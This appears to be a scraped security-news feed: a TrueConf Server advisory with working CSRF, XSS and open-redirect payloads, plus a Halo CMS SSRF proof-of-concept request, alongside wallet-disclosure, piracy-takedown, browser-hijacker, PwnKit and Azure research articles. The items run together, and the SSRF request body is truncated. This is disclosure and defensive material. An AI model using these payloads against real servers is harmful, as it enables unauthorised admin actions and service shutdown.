A vulnerability classified as problematic was found in TrueConf Server 4.3.7. This vulnerability affects unknown code of the file /admin/service/stop/. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

    TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities
    
    
    Vendor: TrueConf LLC
    Product web page: https://www.trueconf.com
    Affected version: 4.3.7.12255 and 4.3.7.12219
    
    Summary: TrueConf Server is a powerful, high-quality and highly secured
    video conferencing software server. It is specially designed to work with
    up to 250 participants in a multipoint conference over LAN or VPN networks.
    TrueConf Server requires no hardware and includes client applications for
    all popular platforms, making it an easy-to-set up, unified communications
    solution.
    
    Desc: The administration interface allows users to perform certain actions
    via HTTP requests without performing any validity checks to verify the requests.
    This can be exploited to perform certain actions with administrative privileges
    if a logged-in user visits a malicious web site.
    
    Input passed via the 'redirect_url' GET parameter is not properly verified before
    being used to redirect users. This can be exploited to redirect a user to an
    arbitrary website e.g. when a user clicks a specially crafted link to the affected
    script hosted on a trusted domain.
    
    TrueConf also suffers from multiple stored, reflected and DOM XSS issues when
    input passed via several parameters to several scripts is not properly sanitized
    before being returned to the user. This can be exploited to execute arbitrary HTML
    and script code in a user's browser session in context of an affected site.
    
    
    Tested on: Microsoft Windows 7 Professional SP1 (EN)
               Apache/2.4.17 (Win32)
               PHP/5.4.41
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2017-5393
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5393.php
    
    
    01.11.2016
    
    --
    
    
    CSRF Stored XSS:
    ----------------
    
    <html>
      <body>
        <form action="http://127.0.0.1:8888/admin/conferences/applyCreate" method="POST">
          <input type="hidden" name="send&#95;invite&#95;mail" value="1" />
          <input type="hidden" name="invitation&#95;type" value="&#45;1" />
          <input type="hidden" name="hide&#95;invitation&#95;type" value="&#45;1" />
          <input type="hidden" name="date" value="22&#46;01&#46;2017" />
          <input type="hidden" name="time&#45;field" value="17&#58;27" />
          <input type="hidden" name="time&#95;zone" value="60" />
          <input type="hidden" name="subtype" value="3" />
          <input type="hidden" name="podiums" value="6" />
          <input type="hidden" name="cid" value="&#92;c&#92;dfa95f7e1d" />
          <input type="hidden" name="key" value="dfa95f7e1d" />
          <input type="hidden" name="topic" value="<script>alert&#40;&apos;XSS&apos;&#41;<&#47;script>" />
          <input type="hidden" name="description" value="" />
          <input type="hidden" name="owner" value="" />
          <input type="hidden" name="gconf&#45;edit" value="ok" />
          <input type="hidden" name="webTtype" value="0" />
          <input type="submit" value="Submit form" />
        </form>
      </body>
    </html>
    
    
    
    Reflected XSS:
    --------------
    
    http://127.0.0.1:8888/admin/conferences/get-all-status/?keys[]=<img src=j onerror=confirm(251) >
    http://127.0.0.1:8888/admin/conferences/list/?sort=status%26'%22()%26%25<div><ScRiPt%20>prompt(251)</ScRiPt>
    http://127.0.0.1:8888/admin/group/list/?checked_group_id=0001&sort=name
    http://127.0.0.1:8888/admin/group/list/?checked_group_id=' onmouseover=confirm(251) ?
    
    
    
    DOM XSS:
    --------
    
    http://127.0.0.1:8888/admin/group?'\><script>confirm("XSS")</script>
    http://127.0.0.1:8888/admin/conferences/list/?domxss=javascript:domxssExecutionSink(1,"'\"><script>alert("XSS")</script>
    
    
    
    Open Redirect:
    --------------
    
    Request:
    
    GET /admin/general/change-lang?lang_on=en&redirect_url=http://www.zeroscience.mk HTTP/1.1
    Host: 127.0.0.1:8888
    Connection: Keep-alive
    Accept-Encoding: gzip,deflate
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
    Accept: */*
    
    Response:
    
    HTTP/1.1 302 Found
    Date: Thu, 22 Sep 2016 21:15:40 GMT
    Server: Apache
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Location: http://www.zeroscience.mk
    Content-Length: 0
    Keep-Alive: timeout=5, max=75
    Connection: Keep-Alive
    Content-Type: text/html; charset=utf-8
    
    
    
    CSRF Stop Web Service:
    ----------------------
    
    <html>
      <body>
        <form action="http://127.0.0.1/admin/service/stop/" method="POST">
          <input type="submit" value="Submit form" />
        </form>
      </body>
    </html>

CVE-2017-20120: Offensive Security’s Exploit Database Archive

Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-30192, CVE-2022-33638.

CVE-2022-33639

Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-33638, CVE-2022-33639.

CVE-2022-30192

Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability. This CVE ID is unique from CVE-2022-30192, CVE-2022-33639.

CVE-2022-33638

MetaMask before 10.11.3 might allow an attacker to access a user's secret recovery phrase because an input field is used for a BIP39 mnemonic, and Firefox and Chromium save such fields to disk in order to support the Restore Session feature, aka the Demonic issue.

The Security Research Team at Halborn has discovered a critical vulnerability affecting many major cryptocurrency wallets. Wallets that were affected include MetaMask, Brave, Phantom, and xDefi, who have remediated the issue. 

Under the right conditions, the vulnerability – which we code-named “**Demonic**” – can expose a crypto wallet user’s secret recovery phrase which can in turn be used to reconstruct their private key, allowing attackers to access billions of dollars worth of cryptocurrencies and NFTs held in browser extension wallets.

You can view the full technical details and remediation recommendations on the Demonic Vulnerability announcement page. Refer to the MetaMask Blog Post and Phantom Blog Post for more useful information from their teams.

Due to the severity of the vulnerability and the number of impacted users, technical details were kept confidential until a good faith effort could be made to contact affected wallet providers.  

Now that the wallet providers have had the opportunity to remediate the issue and migrate their users to secure recovery phrases, Halborn is providing in-depth details to raise awareness of the vulnerability and help prevent similar ones in the future.

**How does it work?**

Browser extension cryptocurrency wallets that use an input field for a BIP39 mnemonic can cause the secret recovery phrase to be stored on-disk in plain text where an attacker that has physical or logical access to the device can retrieve it and gain access to the wallet.

**Who is affected? What should they do?**

**Users:** Userswho have imported their browser based crypto wallet using a secret recovery phrase may be impacted. 

The risk is present if all of the following conditions were met:

*   The hard drive was unencrypted
*   The Secret Recovery Phrase was imported into a browser extension wallet using a device that is no longer in the user’s possession or is logically compromised
*   The user used the “Show Secret Recovery Phrase” checkbox to view the seed phrase on-screen during import

It is recommended that users who believe they may be affected migrate to a new set of accounts. MetaMask has prepared instructions on how to migrate for their users. 

Rotating passwords/keys and the use of a hardware wallet in conjunction with the browser based wallet can also provide increased security for users. Enabling local disk encryption is another best practice which mitigates this issue.

Desktop application cryptocurrency wallets and web based wallets may be prone to similar issues but due to the disparity of offerings we have not investigated that in depth.

**Wallet Providers:** Wallet Providers who believe they may still be susceptible to the vulnerability are strongly encouraged to follow the mitigation suggestions outlined on the Demonic Vulnerability Disclosure page.

Have concerns, want to learn more, or have a bug you’d like to disclose? Please reach out to us at \[email protected\].

Halborn is hiring! If you’re someone who can help make our products and this industry more secure, consider joining our team.

Rob Behnke  
06.15.2022

CVE-2022-32969: Halborn Discovers Critical Vulnerability Affecting Crypto Wallet Browser Extensions

By Deeba Ahmed
In the fourth wave of Operation 404, the Brazilian law enforcement agencies blocked/shut down around 226 websites and…
This is a post from HackRead.com Read the original post: Hundreds of Websites and Piracy Apps Seized in US-Brazil’s Operation 404.4

In the fourth wave of Operation 404, the Brazilian law enforcement agencies blocked/shut down around 226 websites and 461 piracy applications. In this anti-piracy initiative, the authorities made several arrests.

**Seizure Details**

The operation was a joint effort from the USA and Brazilian authorities. The US Homeland Security Investigations and the US Department of Justice (DoJ) seized six website domains (Corourbanos.com, Corourbano.com, Pautamp3.com, SIMP3.com, flowactivo.co, and Mp3Teca.ws) operating from the Eastern District of Virginia for streaming and facilitating illegal downloads of copyrighted music in the USA.

Conversely, around 266 additional websites were taken down in Brazil, which were part of the same network along with 15 social network profiles. Moreover, six people were arrested after 30 searches and seizures countrywide.

At the time of publishing this article, all seized domains displayed the following message on their homepage:

> This domain name has been seized by Homeland Security Investigations (HSI) pursuant to a warrant issued by the United States District Court for the Eastern District of Virginia under the authority of, interalia, Title 18, United States Code, Section 2323.

**About Operation 404**

The operation was initiated as an extensive anti-piracy campaign in late 2019. Brazilian law enforcement agencies launched this operation and codenamed it Operation 404 after the HTTP error code.

The authorities collaborated with law enforcement agencies in the UK and the USA. Since then, several waves of the operation ensued under the names Operation 404.2 and Operation 404.3. The operation spanned eleven states. So far, hundreds of pirate sites and streaming apps’ domain names have been blocked.

The latest wave of the operation was titled Operation 404.4. However, the authorities never named the suspects or the sites taken down, but they confirmed that the apps alone were downloaded ten million times. Sources also confirmed that all of them were music-related apps.

Homepage of the seized websites

**The Metaverse Link**

According to a TorrentFreak, issued by Brazilian authorities, the operation against pirated sites and apps was expanded to the metaverse. Brazil’s Cybercrime group of the Secretariat of Integrated Operations (Seopi) coordinator, Alessandro Barreto, explained that criminals created events and maps on platforms like Roblox to market their pirated services and invite interested parties to their video platforms.

However, the authorities didn’t specify how they entered the metaverse. The DoJ noted that four illegal broadcast channels were shut down along with the deactivation of 90 pirated videos.

*   Authorities dismantle online piracy hackers network Sparks Group
*   Pirate Bay Founder Invents Piracy Gadget to Cripple Music Industry
*   3 arrested, 30,000+ piracy sites shut down in global operation IOSX
*   US COVID-19 relief bill to make copyrighted content streaming a felony
*   Flight Sim Lab installed Chrome passwords stealer in piracy check tool

Hundreds of Websites and Piracy Apps Seized in US-Brazil’s Operation 404.4

Malwarebytes found a family of forced Chrome extensions that can't be removed because of a policy change that tells users "Your browser is managed".
The post Forced Chrome extensions get removed, keep reappearing appeared first on Malwarebytes Labs.

In the continued saga of annoying search extensions we have a new end-of-level boss.

Victims have been reporting browser extensions that were removed by Malwarebytes, but “magically” came back later. Since the victims also complained about the message saying their browser was “managed”, we had a pretty good idea where to look.

_custom search bar_ is _one of the forced extensions_

**Search extensions**

The culprits turned out to be search extensions. Which is often the case when we spot potentially unwanted programs (PUPs) that use malware tactics to get installed and gain persistence.

The search hijackers “active search bar” and “custom search bar” were both available in the Chrome web store at the time of writing even though we reported them days ago.

_active search bar is also available in the webstore_

**PowerShell**

It took some digging to find the origin, since all we had were the extensions. And when the extensions were installed directly from the webstore, nothing happened out of the ordinary. However, some hunting on VirusTotal soon led me to a few recently uploaded PowerShell scripts that included the string “ExtensionInstallForcelist.” I looked for that string because we know from the past that these registry policies account for the “Your browser is managed” warnings.

$CPath = "HKLM:\SOFTWARE\\Policies\\Google\\Chrome\ExtensionInstallForcelist";

$EPath = "HKLM:\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist";

The description in the Chromium documentation about the ExtensionInstallForcelist states:

> “Specifies a list of apps and extensions that are installed silently, without user interaction, and which cannot be uninstalled nor disabled by the user.”

And to confirm this finding, the victims that provided logs all had one of these PowerShell script listed in their Scheduled Tasks.

_The Scheduled Task triggers the PowerShell script_

The Scheduled Task was set to run every four hours, which explained why the extensions kept coming back.

**Installer**

But Scheduled Tasks don’t install themselves either and dropping PowerShell scripts in the System32 folder requires Administrator privileges, so we needed to dig a little further to find an installer.

The domain wincloudservice.com was used as a download location in all the PowerShell scripts so we used that domain as a search parameter in our next stage of VirusTotal hunting. This search eventually returned three installers. What they had in common at first glance was that the filenames all ended with “\_x64LTS.exe” and that they were all signed by “Tommy Tech LTD.”

Upon further inspection we noticed that the installers all asked for Administrator privileges twice. The first part installs something that is called “Setup” and the second part installs an application that aligns with the name of the installer. So, it appears that the original installer files were “patched” to add the installer for our browser hijacker. It stands to reason that these installers are offered for download somewhere by the threat actors.

The EULA points to tommytechil.com which is unreachable. I was unable to find an installer that actually dropped an extension in Edge, but the “Your browser is managed by your organization” setting does get enforced.

_Edge managed by your organization_

**Javascripts**

Malwarebytes customers were protected against these extensions as Malwarebytes’ web protection module blocked the domain wincloudservice\[.\]com. On inspection, this domain hosted several javascripts including heavily obfuscated files called crypto.js and crypto-js.min.js.

**Detection and removal**

Malwarebytes detects these browser hijackers as PUP.Optional.ActiveSearchBar and PUP.Optional.CustomSearchBar. Included in the removal procedure are the extension, and the Scheduled Task, which is enough to permanently get rid of the extension.

Some Windows registry changes have been made that will take a system administrator to decide what they want to keep or not.

The registry keys to remove the “Your browser is managed” are:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForceList

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForceList

And another change made by the installer was the registry value:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\\\\ExecutionPolicy

The installer set that to “Unrestricted” which may not be your favorite setting. If you are not sure or you have never actively set that policy, the default is “Restricted”. Please note that in some organizations PowerShell is required to run.

**IOCs**

**Domains:**

activesearchbar\[.\]me

customsearchbar\[.\]me

optimizerupdate\[.\]com

securedatacorner\[.\]com

wincloudservice\[.\]com

**Installers:**

4kvideodownloader\_5.22.371\_x64LTS.exe

AutoClicker\_x64LTS.exe

FPSUnlocker\_4.1\_x64LTS.exe

**PowerShell scripts:**

PrintWorkflowService.ps1

WindowsUpdater1.ps1

OptimizerWindows.ps1

**Extensions:**

custom search bar nniikbbaboifhfjjkjekiamnfpkdieng

active search bar pkofdnfadkamabkgjdjcddeopopbdjhg

Forced Chrome extensions get removed, keep reappearing

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) this week moved to add a Linux vulnerability dubbed PwnKit to its Known Exploited Vulnerabilities Catalog, citing evidence of active exploitation.
The issue, tracked as CVE-2021-4034 (CVSS score: 7.8), came to light in January 2022 and concerns a case of local privilege escalation in polkit's pkexec utility, which allows an

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) this week moved to add a Linux vulnerability dubbed **PwnKit** to its Known Exploited Vulnerabilities Catalog, citing evidence of active exploitation.

The issue, tracked as CVE-2021-4034 (CVSS score: 7.8), came to light in January 2022 and concerns a case of local privilege escalation in polkit's pkexec utility, which allows an authorized user to execute commands as another user.

Polkit (formerly called PolicyKit) is a toolkit for controlling system-wide privileges in Unix-like operating systems, and provides a mechanism for non-privileged processes to communicate with privileged processes.

Successful exploitation of the flaw could induce pkexec to execute arbitrary code, granting an unprivileged attacker administrative rights on the target machine and compromising the host.

It's not immediately clear how the vulnerability is being weaponized in the wild, nor is there any information on the identity of the threat actor that may be exploiting it.

Also included in the catalog is CVE-2021-30533, a security shortcoming in Chromium-based web browsers that was leveraged by a malvertising threat actor dubbed Yosec to deliver dangerous payloads last year.

Furthermore, the agency added the newly disclosed Mitel VoIP zero-day (CVE-2022-29499) as well as five Apple iOS vulnerabilities (CVE-2018-4344, CVE-2019-8605, CVE-2020-9907, CVE-2020-3837, and CVE-2021-30983) that were recently uncovered as having been abused by Italian spyware vendor RCS Lab.

To mitigate any potential risk of exposure to cyberattacks, it's recommended that organizations prioritize timely remediation of the issues. Federal Civilian Executive Branch Agencies, however, are required to mandatorily patch the flaw by July 18, 2022.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

CISA Warns of Active Exploitation of 'PwnKit' Linux Vulnerability in the Wild

Abuse primitives have a longer shelf life than bugs and zero-days and are cheaper to maintain. They're also much harder for defenders to detect and block.

Microsoft's cloud services revenue grew 46% in the first quarter of 2022, and its cloud market share has increased by almost 9% since 2017. With Azure finally being used in earnest by the mainstream, now is the ideal time to get involved in Azure abuse research. There are many undiscovered abuse primitives out there, a lot of misconfiguration debt built up, and growing numbers of adversaries starting to target Azure more seriously.

Why spend time looking for abuse primitives rather than bugs or software exploits? Abuses have a much longer shelf life than bugs and zero-days, and they're cheaper to maintain. More importantly for attackers, they exist in nearly all implementations of the software in question and are much harder for defenders to detect and block. That's why it's vital for researchers to uncover new abuse options so they can be fixed or mitigated.

Here's my five-step process for researching a specific system within Azure and trying to find new attack primitives. Following this approach will help you save time, stay on track, and produce better results.

**Step One: Begin With the End in Mind**

First, you'll need to gain an understanding of how your system of choice works, how it interacts with other systems in Azure, and how it can be abused. Beyond that, think about what your final product will be — a blog post? A conference session? Defensive remediation guidelines or updates to an open source tool? Determine what's needed to create these assets. Consider producing audit code as well, so defenders can check for these dangerous configurations, and abuse code, too, so others can easily verify how these configurations can be abused. These are the "success criteria" for your research that will help you maintain focus, avoid unnecessary rabbit holes, and ensure a valuable end result.

**Step Two: Study the Intent and Design of the System**

Once you know exactly what you need to discover, begin research just like anyone else would — doing Google searches and reading official documentation. Look for anything that seems abusable (like the ability to reset passwords and permissions required), dig further into those, and take notes as you go.

Use LinkedIn to identify any product architects or other Microsoft staff involved in creating the subject of your study. Review their LinkedIn and Twitter feeds and look for the resources they've authored or reposted (blog posts, conference presentations, etc.). Delve into community resources like forums or GitHub repositories associated with this service, as these user groups are generally much more open in their discourse around problems and weaknesses than the Microsoft folks. Keep taking notes on the system. Once you can speak intelligently about the architecture and intent of the system and write a highly accurate, nontechnical brief about it, you're ready to move on.

**Step Three: Explore the System**

Documentation can only take you so far — it doesn't keep up with changes in Azure and there are almost always hidden connections that go undocumented. It's tempting to jump straight into this step, but without the context on the system that you built through research, you'll probably waste a lot of time.

Start exploring the system with the easiest interface — often this is the Azure portal GUI. If you bring up the Developer tools in the Chrome browser, you can see all the API requests that the browser is making. Copy them to PowerShell and you'll have a good start to building your own client. Use the official CLI tools in Azure (az binary, the Az PowerShell module, and Azure AD PowerShell module).  

When you’ve explored enough that you can build your own basic client to interact with the system, it’s time to proceed. This provides a foundation for a more mature client, and for automating the process of testing abuse capabilities.

**Step Four: Catalog Abuse Capabilities**

Now you can use your client to enumerate all the permissions that that system can assign, and test the abuse primitives you already know about against each of those permissions (e.g., can you promote yourself to global admin or change a global admin’s password?). Keep an eye out for other abuse primitives that might present themselves during your research — and test them as well to reveal any discrepancies between what the official documentation says and how things work in reality.

Realistically, you’ll need to automate this process. When I went through this research methodology examining the Azure Graph API, I had a list of about 175 permissions and a dozen abuse primitives to test against each of them … you do the math.

**Step Five: Share Findings**

The final step is to help others learn from your work. Write a blog post, do a talk and/or share your code. The point is to help others save time and expand or add on to your work. Think of it as writing the blog post you needed at the start of your research.

To learn more, watch a talk I gave on this topic (and access the accompanying deck). Inspired to start researching Azure abuses? Here are some useful websites to find technical content around Azure security: The Lazy Administrator, Good Workaround!, AZAdvertizer, Thomas Van Laere, and Microsoft Portals.

How to Find New Attack Primitives in Microsoft Azure

Halo CMS v1.5.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the template remote download function.

https://github.com/halo-dev/halo/

There is an ssrf vulnerability in the template remote download function in halo cms v1.5.3. The attacker needs to enter a link that ends with a zip , such as http://127.0.0.1:40001/1.zip

**Proof of Concept**

    POST /api/admin/themes/fetching?uri=http://127.0.0.1:40000/1.zip HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Length: 2
    Admin-Authorization: 244a0b5340d943ffb8be55bbf3c0db2f
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Content-Type: application/json
    Origin: http://127.0.0.1:8090
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8090/admin/index.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: JSESSIONID=node08slatpind75xksvtriiymt214.node0
    Connection: close
    
    {
    

  

permalink: ZipThemeFetcher.java#L43  
The destination address is not limited in the code, so it can cause ssrf vulnerability

CVE-2022-32995: There is an ssrf vulnerability in the template remote download function in halo cms v1.5.3 in halo-dev/halo · Issue #2 · zongdeiqianxing/cve-reports

Tag

#chrome